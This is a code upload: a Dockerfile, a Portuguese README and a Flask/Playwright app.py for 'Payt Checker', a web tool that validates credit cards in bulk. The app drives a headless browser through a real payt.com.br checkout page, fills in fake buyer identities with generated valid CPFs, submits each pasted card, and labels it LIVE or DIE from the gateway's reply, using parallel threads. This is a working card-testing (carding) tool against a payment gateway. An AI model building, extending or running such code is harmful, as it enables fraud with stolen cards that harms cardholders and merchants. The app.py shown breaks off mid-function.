Upload 4 files
Browse files- Dockerfile +40 -0
- README.md +89 -10
- app.py +394 -0
- requirements.txt +6 -0
Dockerfile
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
FROM python:3.9-slim
|
| 2 |
+
|
| 3 |
+
# Instalar dependências do sistema necessárias para o Playwright
|
| 4 |
+
RUN apt-get update && apt-get install -y \
|
| 5 |
+
libglib2.0-0 \
|
| 6 |
+
libnss3 \
|
| 7 |
+
libnspr4 \
|
| 8 |
+
libatk1.0-0 \
|
| 9 |
+
libatk-bridge2.0-0 \
|
| 10 |
+
libcups2 \
|
| 11 |
+
libdrm2 \
|
| 12 |
+
libdbus-1-3 \
|
| 13 |
+
libxcb1 \
|
| 14 |
+
libxkbcommon0 \
|
| 15 |
+
libx11-6 \
|
| 16 |
+
libxcomposite1 \
|
| 17 |
+
libxdamage1 \
|
| 18 |
+
libxext6 \
|
| 19 |
+
libxfixes3 \
|
| 20 |
+
libxrandr2 \
|
| 21 |
+
libgbm1 \
|
| 22 |
+
libpango-1.0-0 \
|
| 23 |
+
libcairo2 \
|
| 24 |
+
libasound2 \
|
| 25 |
+
&& rm -rf /var/lib/apt/lists/*
|
| 26 |
+
|
| 27 |
+
WORKDIR /app
|
| 28 |
+
|
| 29 |
+
COPY requirements.txt .
|
| 30 |
+
RUN pip install --no-cache-dir -r requirements.txt
|
| 31 |
+
|
| 32 |
+
# Instalar navegadores do Playwright
|
| 33 |
+
RUN playwright install chromium --with-deps
|
| 34 |
+
|
| 35 |
+
COPY . .
|
| 36 |
+
|
| 37 |
+
# Expor a porta padrão do Hugging Face Spaces
|
| 38 |
+
EXPOSE 7860
|
| 39 |
+
|
| 40 |
+
CMD ["python", "app.py"]
|
README.md
CHANGED
|
@@ -1,10 +1,89 @@
|
|
| 1 |
-
|
| 2 |
-
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Payt Checker
|
| 2 |
+
|
| 3 |
+
Este é um aplicativo web que utiliza Python com Playwright e Flask-SocketIO para verificar cartões de crédito.
|
| 4 |
+
|
| 5 |
+
## Como usar
|
| 6 |
+
|
| 7 |
+
1. **Cole seus cartões** no campo de texto fornecido no formato `número|mês|ano|cvv`.
|
| 8 |
+
2. **Ajuste o número de threads** (processos paralelos) usando o slider.
|
| 9 |
+
3. Clique em **"INICIAR CHECKER"** para começar o processo.
|
| 10 |
+
4. O status e os resultados (Lives, Dies, Erros) serão exibidos em tempo real na interface.
|
| 11 |
+
|
| 12 |
+
## Estrutura do Projeto
|
| 13 |
+
|
| 14 |
+
```
|
| 15 |
+
app/
|
| 16 |
+
├── app.py
|
| 17 |
+
├── requirements.txt
|
| 18 |
+
├── README.md
|
| 19 |
+
├── templates/
|
| 20 |
+
│ └── index.html
|
| 21 |
+
└── static/
|
| 22 |
+
└── live.mp3 (Placeholder - arquivo de áudio para notificações)
|
| 23 |
+
```
|
| 24 |
+
|
| 25 |
+
## Dependências
|
| 26 |
+
|
| 27 |
+
Este projeto requer as seguintes bibliotecas Python:
|
| 28 |
+
|
| 29 |
+
- `Flask`
|
| 30 |
+
- `Flask-SocketIO`
|
| 31 |
+
- `playwright`
|
| 32 |
+
- `requests`
|
| 33 |
+
- `gevent`
|
| 34 |
+
- `gevent-websocket`
|
| 35 |
+
|
| 36 |
+
Além disso, o Playwright requer a instalação de navegadores. No ambiente Hugging Face Spaces, isso geralmente é tratado automaticamente se você usar um Dockerfile ou especificar as dependências corretas. Para garantir, você pode adicionar um comando de instalação do Playwright no seu Dockerfile ou no script de inicialização do Space:
|
| 37 |
+
|
| 38 |
+
```bash
|
| 39 |
+
playwright install
|
| 40 |
+
```
|
| 41 |
+
|
| 42 |
+
## Executando Localmente (para desenvolvimento)
|
| 43 |
+
|
| 44 |
+
1. Clone este repositório.
|
| 45 |
+
2. Navegue até a pasta `app`.
|
| 46 |
+
3. Crie um ambiente virtual e instale as dependências:
|
| 47 |
+
```bash
|
| 48 |
+
python3 -m venv venv
|
| 49 |
+
source venv/bin/activate
|
| 50 |
+
pip install -r requirements.txt
|
| 51 |
+
playwright install
|
| 52 |
+
```
|
| 53 |
+
4. Execute o aplicativo:
|
| 54 |
+
```bash
|
| 55 |
+
python app.py
|
| 56 |
+
```
|
| 57 |
+
5. Abra seu navegador e acesse `http://127.0.0.1:7860`.
|
| 58 |
+
|
| 59 |
+
## Deploy no Hugging Face Spaces
|
| 60 |
+
|
| 61 |
+
Para fazer o deploy deste projeto no Hugging Face Spaces, siga estes passos:
|
| 62 |
+
|
| 63 |
+
1. Crie um novo Space no Hugging Face (escolha a opção "Blank" ou "Docker").
|
| 64 |
+
2. Conecte seu repositório Git local ao Space remoto.
|
| 65 |
+
3. Faça upload de todos os arquivos da pasta `app/` para o seu repositório do Space.
|
| 66 |
+
4. O Hugging Face Spaces detectará automaticamente o `app.py` e o `requirements.txt` e tentará instalar as dependências e executar o aplicativo.
|
| 67 |
+
5. Certifique-se de que o `live.mp3` esteja na pasta `static` dentro do seu Space.
|
| 68 |
+
|
| 69 |
+
**Nota sobre Playwright no Hugging Face Spaces:**
|
| 70 |
+
|
| 71 |
+
Para que o Playwright funcione corretamente em um ambiente Dockerizado como o Hugging Face Spaces, é crucial que os navegadores sejam instalados. O `Dockerfile` já está incluído no pacote para facilitar a configuração:
|
| 72 |
+
|
| 73 |
+
```dockerfile
|
| 74 |
+
FROM python:3.9-slim-buster
|
| 75 |
+
|
| 76 |
+
WORKDIR /app
|
| 77 |
+
|
| 78 |
+
COPY requirements.txt .
|
| 79 |
+
RUN pip install --no-cache-dir -r requirements.txt
|
| 80 |
+
|
| 81 |
+
# Instala as dependências do Playwright e os navegadores
|
| 82 |
+
RUN pip install playwright && playwright install --with-deps
|
| 83 |
+
|
| 84 |
+
COPY . .
|
| 85 |
+
|
| 86 |
+
CMD ["python", "app.py"]
|
| 87 |
+
```
|
| 88 |
+
|
| 89 |
+
Lembre-se de que o `app.py` está configurado para rodar na porta `7860`, que é a porta padrão que o Hugging Face Spaces expõe para aplicações web.
|
app.py
ADDED
|
@@ -0,0 +1,394 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
from flask import Flask, render_template, request, jsonify
|
| 3 |
+
from flask_socketio import SocketIO, emit
|
| 4 |
+
from playwright.sync_api import sync_playwright
|
| 5 |
+
import random
|
| 6 |
+
import time
|
| 7 |
+
import os
|
| 8 |
+
import re
|
| 9 |
+
import requests
|
| 10 |
+
from datetime import datetime
|
| 11 |
+
import threading
|
| 12 |
+
|
| 13 |
+
app = Flask(__name__, template_folder='templates', static_folder='static')
|
| 14 |
+
app.config['SECRET_KEY'] = 'supersecret!'
|
| 15 |
+
socketio = SocketIO(app, cors_allowed_origins="*")
|
| 16 |
+
|
| 17 |
+
# --- Classe PaytChecker adaptada para a web ---
|
| 18 |
+
class cores:
|
| 19 |
+
VERDE = '\033[92m'
|
| 20 |
+
VERMELHO = '\033[91m'
|
| 21 |
+
AZUL = '\033[94m'
|
| 22 |
+
AMARELO = '\033[93m'
|
| 23 |
+
RESET = '\033[0m'
|
| 24 |
+
|
| 25 |
+
class PaytChecker:
|
| 26 |
+
def __init__(self, sid=None):
|
| 27 |
+
self.HEADLESS = True # Sempre headless em ambiente de servidor
|
| 28 |
+
self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
|
| 29 |
+
self.lives = 0
|
| 30 |
+
self.dies = 0
|
| 31 |
+
self.errors = 0
|
| 32 |
+
self.total_checked = 0
|
| 33 |
+
self.stop_flag = False
|
| 34 |
+
self.sid = sid # Para enviar mensagens para um cliente específico
|
| 35 |
+
|
| 36 |
+
self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
|
| 37 |
+
|
| 38 |
+
def emit_to_client(self, event, data):
|
| 39 |
+
if self.sid:
|
| 40 |
+
socketio.emit(event, data, room=self.sid)
|
| 41 |
+
else:
|
| 42 |
+
print(f"[SERVER] {event}: {data}")
|
| 43 |
+
|
| 44 |
+
def gerar_cpf_valido(self):
|
| 45 |
+
while True:
|
| 46 |
+
cpf = [random.randint(0, 9) for _ in range(9)]
|
| 47 |
+
soma = sum((i + 2) * cpf[8 - i] for i in range(9))
|
| 48 |
+
digito1 = 11 - (soma % 11)
|
| 49 |
+
if digito1 >= 10: digito1 = 0
|
| 50 |
+
cpf.append(digito1)
|
| 51 |
+
soma = sum((i + 2) * cpf[9 - i] for i in range(10))
|
| 52 |
+
digito2 = 11 - (soma % 11)
|
| 53 |
+
if digito2 >= 10: digito2 = 0
|
| 54 |
+
cpf.append(digito2)
|
| 55 |
+
cpf_str = ''.join(str(d) for d in cpf)
|
| 56 |
+
|
| 57 |
+
if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333',
|
| 58 |
+
'44444444444', '55555555555', '66644444444', '77777777777',
|
| 59 |
+
'88888888888', '99999999999']:
|
| 60 |
+
return cpf_str
|
| 61 |
+
|
| 62 |
+
def gerar_dados_aleatorios(self):
|
| 63 |
+
primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
|
| 64 |
+
sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
|
| 65 |
+
|
| 66 |
+
nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
|
| 67 |
+
cpf = self.gerar_cpf_valido()
|
| 68 |
+
|
| 69 |
+
nome_email = nome.split()[0].lower()
|
| 70 |
+
nome_email = re.sub(r'[^a-z]', '', nome_email)
|
| 71 |
+
email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}"
|
| 72 |
+
|
| 73 |
+
telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}"
|
| 74 |
+
|
| 75 |
+
return {
|
| 76 |
+
'nome': nome,
|
| 77 |
+
'nome_cartao': nome.upper(),
|
| 78 |
+
'cpf': cpf,
|
| 79 |
+
'email': email,
|
| 80 |
+
'telefone': telefone
|
| 81 |
+
}
|
| 82 |
+
|
| 83 |
+
def gerar_dados_4devs(self):
|
| 84 |
+
try:
|
| 85 |
+
url = 'https://www.4devs.com.br/ferramentas_online.php'
|
| 86 |
+
payload = {
|
| 87 |
+
'acao': 'gerar_pessoa',
|
| 88 |
+
'sexo': 'I',
|
| 89 |
+
'pontuacao': 'S',
|
| 90 |
+
'idade': '0',
|
| 91 |
+
'cep_estado': '',
|
| 92 |
+
'txt_qtde': '1',
|
| 93 |
+
'cep_cidade': ''
|
| 94 |
+
}
|
| 95 |
+
headers = {
|
| 96 |
+
'Accept': '*/*',
|
| 97 |
+
'Accept-Language': 'pt-BR,pt;q=0.9',
|
| 98 |
+
'Content-Type': 'application/x-www-form-urlencoded',
|
| 99 |
+
'Origin': 'https://www.4devs.com.br',
|
| 100 |
+
'Referer': 'https://www.4devs.com.br/gerador_de_pessoas',
|
| 101 |
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36'
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
response = requests.post(url, data=payload, headers=headers, timeout=10)
|
| 105 |
+
response.raise_for_status()
|
| 106 |
+
|
| 107 |
+
dados_json = response.json()
|
| 108 |
+
nome = dados_json.get('nome', '')
|
| 109 |
+
cpf = dados_json.get('cpf', '')
|
| 110 |
+
email = dados_json.get('email', '')
|
| 111 |
+
telefone = dados_json.get('telefone', '')
|
| 112 |
+
|
| 113 |
+
if nome and cpf and email and telefone:
|
| 114 |
+
self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'})
|
| 115 |
+
return {
|
| 116 |
+
'nome': nome,
|
| 117 |
+
'nome_cartao': nome.upper(),
|
| 118 |
+
'cpf': cpf,
|
| 119 |
+
'email': email,
|
| 120 |
+
'telefone': telefone
|
| 121 |
+
}
|
| 122 |
+
else:
|
| 123 |
+
raise ValueError("Dados incompletos retornados pela API")
|
| 124 |
+
|
| 125 |
+
except Exception as e:
|
| 126 |
+
self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'})
|
| 127 |
+
return self.gerar_dados_aleatorios()
|
| 128 |
+
|
| 129 |
+
def preencher_campos(self, page, dados, numero, mes, ano, cvv):
|
| 130 |
+
page.fill('#full_name', dados['nome'])
|
| 131 |
+
page.fill('#email', dados['email'])
|
| 132 |
+
page.fill('#phone', dados['telefone'])
|
| 133 |
+
page.fill('#cpf_cnpj', dados['cpf'])
|
| 134 |
+
page.evaluate("window.scrollBy(0, 400)")
|
| 135 |
+
time.sleep(0.3)
|
| 136 |
+
page.fill('#cardNumber', numero)
|
| 137 |
+
page.fill('#cardName', dados['nome_cartao'])
|
| 138 |
+
page.fill('#cardDueDate', f"{mes}{ano}")
|
| 139 |
+
page.fill('#cardCvv', cvv)
|
| 140 |
+
page.evaluate("window.scrollBy(0, 200)")
|
| 141 |
+
time.sleep(0.3)
|
| 142 |
+
|
| 143 |
+
def clicar_botao(self, page):
|
| 144 |
+
time.sleep(0.5)
|
| 145 |
+
seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")',
|
| 146 |
+
'button[type="submit"]', '.btn-primary']
|
| 147 |
+
for seletor in seletores:
|
| 148 |
+
try:
|
| 149 |
+
if page.locator(seletor).count() > 0:
|
| 150 |
+
btn = page.locator(seletor).first
|
| 151 |
+
if btn.is_visible():
|
| 152 |
+
btn.scroll_into_view_if_needed()
|
| 153 |
+
btn.click(force=True)
|
| 154 |
+
return True
|
| 155 |
+
except: continue
|
| 156 |
+
return False
|
| 157 |
+
|
| 158 |
+
def classificar_retorno(self, mensagem):
|
| 159 |
+
termos_live = [
|
| 160 |
+
"Sua compra ainda não foi finalizada",
|
| 161 |
+
"Saldo insuficiente, aumente seu limite e realize a compra.",
|
| 162 |
+
"Não pudemos processar seu pagamento, entre em contato com o suporte.",
|
| 163 |
+
"Verifique os dados do seu cartão e tente novamente"
|
| 164 |
+
]
|
| 165 |
+
termos_die = [
|
| 166 |
+
"Revise os dados do cartão e tente novamente.",
|
| 167 |
+
"Não conseguimos processar seu pagamento, tente novamente mais tarde."
|
| 168 |
+
]
|
| 169 |
+
|
| 170 |
+
for termo in termos_live:
|
| 171 |
+
if termo.lower() in mensagem.lower():
|
| 172 |
+
return "LIVE"
|
| 173 |
+
for termo in termos_die:
|
| 174 |
+
if termo.lower() in mensagem.lower():
|
| 175 |
+
return "DIE"
|
| 176 |
+
return "DIE"
|
| 177 |
+
|
| 178 |
+
def capturar_retorno(self, page):
|
| 179 |
+
time.sleep(2)
|
| 180 |
+
|
| 181 |
+
for tentativa in range(60):
|
| 182 |
+
if self.stop_flag: return "STOPPED", "Processamento interrompido"
|
| 183 |
+
time.sleep(1)
|
| 184 |
+
|
| 185 |
+
url = page.url
|
| 186 |
+
if "obrigado" in url or "success" in url:
|
| 187 |
+
return "LIVE", "Pagamento aprovado com sucesso!"
|
| 188 |
+
|
| 189 |
+
try:
|
| 190 |
+
msg = page.locator('//*[@id="app"]/nav/div/p')
|
| 191 |
+
if msg.count() > 0:
|
| 192 |
+
texto = msg.first.text_content()
|
| 193 |
+
if texto and len(texto.strip()) > 5:
|
| 194 |
+
texto_completo = texto.strip()
|
| 195 |
+
resultado = self.classificar_retorno(texto_completo)
|
| 196 |
+
return resultado, texto_completo
|
| 197 |
+
except: pass
|
| 198 |
+
|
| 199 |
+
try:
|
| 200 |
+
container = page.locator('//*[@id="app"]/nav/div')
|
| 201 |
+
if container.count() > 0:
|
| 202 |
+
texto = container.first.text_content()
|
| 203 |
+
if texto and len(texto.strip()) > 5:
|
| 204 |
+
texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto)
|
| 205 |
+
texto_completo = ' '.join(texto.split())
|
| 206 |
+
if len(texto_completo) > 5:
|
| 207 |
+
resultado = self.classificar_retorno(texto_completo)
|
| 208 |
+
return resultado, texto_completo
|
| 209 |
+
except: pass
|
| 210 |
+
|
| 211 |
+
try:
|
| 212 |
+
body = page.locator('body').text_content()
|
| 213 |
+
mensagens = [
|
| 214 |
+
"Sua compra ainda não foi finalizada",
|
| 215 |
+
"Saldo insuficiente, aumente seu limite e realize a compra.",
|
| 216 |
+
"Não pudemos processar seu pagamento, entre em contato com o suporte.",
|
| 217 |
+
"Verifique os dados do seu cartão e tente novamente",
|
| 218 |
+
"Revise os dados do cartão e tente novamente.",
|
| 219 |
+
"Não conseguimos processar seu pagamento, tente novamente mais tarde."
|
| 220 |
+
]
|
| 221 |
+
|
| 222 |
+
for msg in mensagens:
|
| 223 |
+
if msg.lower() in body.lower():
|
| 224 |
+
resultado = self.classificar_retorno(msg)
|
| 225 |
+
return resultado, msg
|
| 226 |
+
except: pass
|
| 227 |
+
|
| 228 |
+
if (tentativa + 1) % 10 == 0:
|
| 229 |
+
self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'})
|
| 230 |
+
|
| 231 |
+
return "DIE", "Timeout - Sem resposta da gateway"
|
| 232 |
+
|
| 233 |
+
def testar_cartao(self, cartao, i, total, thread_id):
|
| 234 |
+
if self.stop_flag: return
|
| 235 |
+
|
| 236 |
+
partes = cartao.split('|')
|
| 237 |
+
if len(partes) != 4:
|
| 238 |
+
self.errors += 1
|
| 239 |
+
self.total_checked += 1
|
| 240 |
+
self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id})
|
| 241 |
+
self.update_stats(total)
|
| 242 |
+
return
|
| 243 |
+
|
| 244 |
+
numero, mes, ano, cvv = partes
|
| 245 |
+
ano = ano[-2:] if len(ano) == 4 else ano
|
| 246 |
+
|
| 247 |
+
dados = self.gerar_dados_4devs()
|
| 248 |
+
|
| 249 |
+
inicio = time.time()
|
| 250 |
+
try:
|
| 251 |
+
with sync_playwright() as p:
|
| 252 |
+
browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox'])
|
| 253 |
+
context = browser.new_context(viewport={'width': 1366, 'height': 768})
|
| 254 |
+
page = context.new_page()
|
| 255 |
+
|
| 256 |
+
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao})
|
| 257 |
+
page.goto(self.BASE_URL, wait_until='domcontentloaded')
|
| 258 |
+
time.sleep(1.5)
|
| 259 |
+
|
| 260 |
+
self.preencher_campos(page, dados, numero, mes, ano, cvv)
|
| 261 |
+
|
| 262 |
+
if not self.clicar_botao(page):
|
| 263 |
+
self.errors += 1
|
| 264 |
+
self.total_checked += 1
|
| 265 |
+
self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id})
|
| 266 |
+
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
|
| 267 |
+
self.update_stats(total)
|
| 268 |
+
browser.close()
|
| 269 |
+
return
|
| 270 |
+
|
| 271 |
+
status, mensagem = self.capturar_retorno(page)
|
| 272 |
+
segundos = round(time.time() - inicio, 1)
|
| 273 |
+
|
| 274 |
+
if status == "LIVE":
|
| 275 |
+
self.lives += 1
|
| 276 |
+
self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
|
| 277 |
+
self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos})
|
| 278 |
+
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao})
|
| 279 |
+
elif status == "DIE":
|
| 280 |
+
self.dies += 1
|
| 281 |
+
self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
|
| 282 |
+
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao})
|
| 283 |
+
elif status == "STOPPED":
|
| 284 |
+
self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos})
|
| 285 |
+
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao})
|
| 286 |
+
browser.close()
|
| 287 |
+
return
|
| 288 |
+
|
| 289 |
+
browser.close()
|
| 290 |
+
|
| 291 |
+
except Exception as e:
|
| 292 |
+
self.errors += 1
|
| 293 |
+
self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id})
|
| 294 |
+
self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao})
|
| 295 |
+
finally:
|
| 296 |
+
self.total_checked += 1
|
| 297 |
+
self.update_stats(total)
|
| 298 |
+
|
| 299 |
+
def update_stats(self, total_cards):
|
| 300 |
+
self.emit_to_client('update_stats', {
|
| 301 |
+
'lives': self.lives,
|
| 302 |
+
'dies': self.dies,
|
| 303 |
+
'errors': self.errors,
|
| 304 |
+
'total': total_cards,
|
| 305 |
+
'checked': self.total_checked
|
| 306 |
+
})
|
| 307 |
+
if self.total_checked == total_cards:
|
| 308 |
+
self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors})
|
| 309 |
+
self.emit_to_client('set_ui', {'on': False})
|
| 310 |
+
|
| 311 |
+
|
| 312 |
+
# --- Rotas Flask e Socket.IO ---
|
| 313 |
+
|
| 314 |
+
@app.route('/')
|
| 315 |
+
def index():
|
| 316 |
+
return render_template('index.html')
|
| 317 |
+
|
| 318 |
+
processing_threads = []
|
| 319 |
+
stop_event = threading.Event()
|
| 320 |
+
|
| 321 |
+
@socketio.on('connect')
|
| 322 |
+
def test_connect():
|
| 323 |
+
print(f'Client connected: {request.sid}')
|
| 324 |
+
emit('my response', {'data': 'Connected'}) # Pode ser removido se não for usado
|
| 325 |
+
|
| 326 |
+
@socketio.on('disconnect')
|
| 327 |
+
def test_disconnect():
|
| 328 |
+
print(f'Client disconnected: {request.sid}')
|
| 329 |
+
|
| 330 |
+
@socketio.on('start_process')
|
| 331 |
+
def start_process(data):
|
| 332 |
+
global processing_threads
|
| 333 |
+
global stop_event
|
| 334 |
+
|
| 335 |
+
if processing_threads and any(t.is_alive() for t in processing_threads):
|
| 336 |
+
emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'})
|
| 337 |
+
return
|
| 338 |
+
|
| 339 |
+
cards_raw = data['cards']
|
| 340 |
+
num_threads = int(data['threads'])
|
| 341 |
+
client_sid = request.sid
|
| 342 |
+
|
| 343 |
+
cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()]
|
| 344 |
+
total_cards = len(cards)
|
| 345 |
+
|
| 346 |
+
if not cards:
|
| 347 |
+
emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'})
|
| 348 |
+
emit('set_ui', {'on': False})
|
| 349 |
+
return
|
| 350 |
+
|
| 351 |
+
emit('set_ui', {'on': True})
|
| 352 |
+
emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'})
|
| 353 |
+
